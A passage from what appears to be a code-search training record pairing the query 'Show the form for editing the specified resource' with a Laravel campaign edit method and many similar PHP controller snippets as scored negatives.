show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}", "public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }", "public abstract function display();", "abstract public function resource($resource);", "public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show(Response $response)\n {\n //\n }", "public function show()\n {\n return auth()->user()->getResource();\n }", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}" ]
[ "0.8233718", "0.8190437", "0.6828712", "0.64986944", "0.6495974", "0.6469629", "0.6462615", "0.6363665", "0.6311607", "0.62817234", "0.6218966", "0.6189695", "0.61804265", "0.6171014", "0.61371076", "0.61207956", "0.61067593", "0.6105954", "0.6094066", "0.6082806", "0.6045245", "0.60389996", "0.6016584", "0.598783", "0.5961788", "0.59606946", "0.5954321", "0.59295714", "0.59182066", "0.5904556", "0.59036547", "0.59036547", "0.59036547", "0.5891874", "0.58688277", "0.5868107", "0.58676815", "0.5851883", "0.58144855", "0.58124036", "0.58112013", "0.5803467", "0.58012545", "0.5791527", "0.57901084", "0.5781528", "0.5779676", "0.5757105", "0.5756208", "0.57561266", "0.57453394", "0.57435393", "0.57422745", "0.5736634", "0.5736634", "0.5730559", "0.57259274", "0.5724891", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5718969", "0.5713412", "0.57091093", "0.5706405", "0.57057405", "0.5704541", "0.5704152", "0.57026845", "0.57026845", "0.56981397", "0.5693083", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962" ]
0.0
-1
Show the form for editing the specified resource.
public function edit(Campaign $campaign) { return view('campaigns.edit', compact('campaign')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function edit()\n {\n return view('hirmvc::edit');\n }", "public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}", "public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }", "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }", "public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }", "private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }", "public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }", "public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}", "public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }", "public function edit($model, $form);", "function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}", "public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}", "public function edit()\n { \n return view('admin.control.edit');\n }", "public function edit(Form $form)\n {\n //\n }", "public function edit()\n {\n return view('common::edit');\n }", "public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\r\n {\r\n return view('petro::edit');\r\n }", "public function edit($id)\n {\n // show form edit user info\n }", "public function edit()\n {\n return view('escrow::edit');\n }", "public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }", "public function edit()\n {\n return view('commonmodule::edit');\n }", "public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit(form $form)\n {\n //\n }", "public function actionEdit($id) { }", "public function edit()\n {\n return view('admincp::edit');\n }", "public function edit()\n {\n return view('scaffold::edit');\n }", "public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }", "public function edit()\n {\n return view('Person.edit');\n }", "public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }", "public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}", "public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }", "public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}", "public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }", "public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }", "public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }", "function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}", "public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "protected function _edit(){\n\t\treturn $this->_editForm();\n\t}", "public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }", "public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }", "public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}", "public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}", "public function edit($id)\n {\n return view('models::edit');\n }", "public function edit()\n {\n return view('home::edit');\n }", "public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }", "public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }", "public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }", "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('consultas::edit');\n }", "public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }", "public function edit()\n {\n return view('dashboard::edit');\n }", "public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }", "public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }", "public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }", "public function edit() {\n return view('routes::edit');\n }", "public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }", "public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('cataloguemodule::edit');\n }", "public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }", "public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }", "public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }", "public function edit()\n {\n return view('website::edit');\n }", "public function edit()\n {\n return view('inventory::edit');\n }", "public function edit()\n {\n return view('initializer::edit');\n }", "public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }", "public function edit($id)\n {\n return view('backend::edit');\n }", "public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }", "public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }", "public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}", "public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }", "public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }", "public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }", "public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }", "public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}" ]
[ "0.78550774", "0.7692893", "0.7273195", "0.7242132", "0.7170847", "0.70622855", "0.7053459", "0.6982539", "0.69467914", "0.6945275", "0.6941114", "0.6928077", "0.69019294", "0.68976134", "0.68976134", "0.6877213", "0.68636996", "0.68592185", "0.68566656", "0.6844697", "0.68336326", "0.6811471", "0.68060875", "0.68047357", "0.68018645", "0.6795623", "0.6791791", "0.6791791", "0.6787701", "0.67837197", "0.67791027", "0.677645", "0.6768301", "0.6760122", "0.67458534", "0.67458534", "0.67443407", "0.67425704", "0.6739898", "0.6735328", "0.6725465", "0.6712817", "0.6693891", "0.6692419", "0.6688581", "0.66879624", "0.6687282", "0.6684741", "0.6682786", "0.6668777", "0.6668427", "0.6665287", "0.6665287", "0.66610634", "0.6660843", "0.66589665", "0.66567147", "0.66545695", "0.66527975", "0.6642529", "0.6633056", "0.6630304", "0.6627662", "0.6627662", "0.66192114", "0.6619003", "0.66153085", "0.6614968", "0.6609744", "0.66086483", "0.66060555", "0.6596137", "0.65950733", "0.6594648", "0.65902114", "0.6589043", "0.6587102", "0.65799844", "0.65799403", "0.65799177", "0.657708", "0.65760696", "0.65739626", "0.656931", "0.6567826", "0.65663105", "0.65660435", "0.65615267", "0.6561447", "0.6561447", "0.65576506", "0.655686", "0.6556527", "0.6555543", "0.6555445", "0.65552044", "0.65543956", "0.65543705", "0.6548264", "0.65475875", "0.65447706" ]
0.0
-1
Update the specified resource in storage.
public function update(Request $request, Campaign $campaign) { $this->validate($request, [ 'custom_message' => 'required_with:custom_link', 'custom_link' => 'required_with:custom_message', 'post_id' => 'required_if:type,like,retweet', ]); // Validate if tweet is valid (custom validation specific to Twitter regarding the 140 chacracters limit) if ( ! $this->tweetIsValid($this->simulateTweet())) { return back()->withInput()->with('danger', 'Tweet is invalid! More than 140 characters provided!'); } // If validation passes then we move forward $campaign->update($request->all()); return redirect()->route('campaigns.index')->with('success', 'Campaign updated succesfully!'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }", "public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }", "public function update(Request $request, Resource $resource)\n {\n //\n }", "public function updateStream($resource);", "public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }", "protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }", "public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }", "public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}", "public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }", "public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }", "protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }", "public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }", "public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }", "public function update($path);", "public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }", "public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); 